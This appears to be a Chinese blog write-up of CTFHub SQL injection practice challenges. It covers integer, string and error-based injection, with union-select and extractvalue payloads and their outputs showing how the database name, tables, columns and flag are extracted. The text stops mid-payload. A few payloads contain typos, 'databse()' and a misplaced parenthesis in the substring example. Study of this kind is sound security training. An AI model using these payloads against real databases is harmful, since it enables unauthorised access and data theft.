sql注入基础(ctfhub sql注入)
0x00 前言
这两天在CTFHub上练题,刚好练到了SQL注入这个之前我一直也不是很懂,这回一做发现其中大有玄妙,所以就一起写个小总结。
CTFhHub:https://www.ctfhub.com/#/index
上面这张图是CTFHub的SQL注入技能树,我后面的内容大致会根据技能树上的内容进行分析。技能树上每个未划去的节点都有一个相对的题目,所以会依托题目的形式来分析。
0x01 整数型注入
分析题目
输入1后查看
出题人非常贴心的把查询语句也输出了出来,我们可以看到直接查询了id=1,这里的1是数字1,这个时候就可以使用联合查询注入了。
注入原理
可以发现,在原本的语句后面拼接一个union select就可以达到联合查询的效果,但是需要注意查询的列数需要相等,否则会报错。在这题当中并不需要注意,因为已经是相等的了,在某些题目当中需要使用limit函数来限制输出,这个后面有时间会写。
在这里只需要知道union可以实现联合注入查询就可以了。
这里需要知道,数据查询后,按行传递给服务器输出,我们将本地的查询语句稍微修改一下,就会发现原本的第一行不见了。那么此时第二行就会被服务器返回前端。只需要构造好代码,就可以查询数据库的所有内容了。
构造payload
首先是要让id错误,显然id不为负数,所以id=-1,又要让列数保持为2,所以union后接的第一个数为1。所以根据不同目的,payload为
爆出数据库名
-1 union select 1,databse()
>>>sqli
爆出表名
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
>>>news,flag
爆出列名
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
>>>flag
爆出数据
-1 union select 1,flag from sqli.flag
>>>ctfhub{********************************}
至此,得到flag。
0x02 字符型注入
分析题目
提示输入1,那么输入1后可以看到,1被’包裹起来了,显然这是一个字符型查询。
再尝试输入-1=1,发现搜索id=’-1=1’,所以需要对前面的引号进行闭合,对后面的引号进行注释
注入原理
这里需要将后面的引号进行注释,最简单的办法就是使用#注释,当然也可以使用’对后面的引号闭合。但是使用’进行闭合在本地测试会报错。所以不建议使用这种方式,因为不保证稳定性。
payload构造
与上面一个题型类似,我们先要让查询的数字错误好使第一组数据为空,接着就是一步一步的命令注入。
查询数据库
-1' union select 1,database()#
>>>sqli
爆表名
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database();#
>>>news,flag
爆列名
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag';#
>>>flag
爆数据
-1' union select 1,flag from sqli.flag;#
>>>ctfhub{
************************}
0x03 报错注入
题目分析
输入1,显然,本题仅返回查询是否成功。那么前面的注入技巧就失效了。因为无法直接通过联合查询查到内容。这里需要新的注入方式。
注入原理
先讲最简单的办法
这里可以使用一个叫extractvalue()的函数对命令进行注入。同样,这个函数的具体分析会在后面单独讲,这里只讲用法。
select extractvalue(null,concat(0x7e,(commond),0x7e))
这里的commond就是你要注入的命令了。
但是需要注意的是,这个函数最多只能返回32个字符,如果多了需要使用substring函数截取,使用方法如下
select extractvalue(null,concat(0x7e,(substring(commond),1,32),0x7e))
1和32分别为截取两段坐标,坐标从1开始。
另外还有一个更加通用的办法
那就是把这题当做布尔注入来做。具体操作方法看0x04布尔注入。因为布尔注入返回真或假,而报错注入同样返回查询成功(ture)和查询失败(false)。所以完全可以使用布尔注入来做。
可以这么认为,布尔注入是更特殊的报错注入,因为不会返回错误原因。
payload构造
这里就不再分析了,直接上代码,思路和上面几道题一模一样。
1 union select extractvalue(null,concat(0x7e,(select database()),0x7e))
>>>XPATH syntax error: '~sqli~'
1 union select extractvalue(null,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))
>>>XPATH syntax error: '~news,flag~'
1 union select extractvalue(null,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='flag'),0x7e))
>>>XPATH syntax error: '~flag~'
1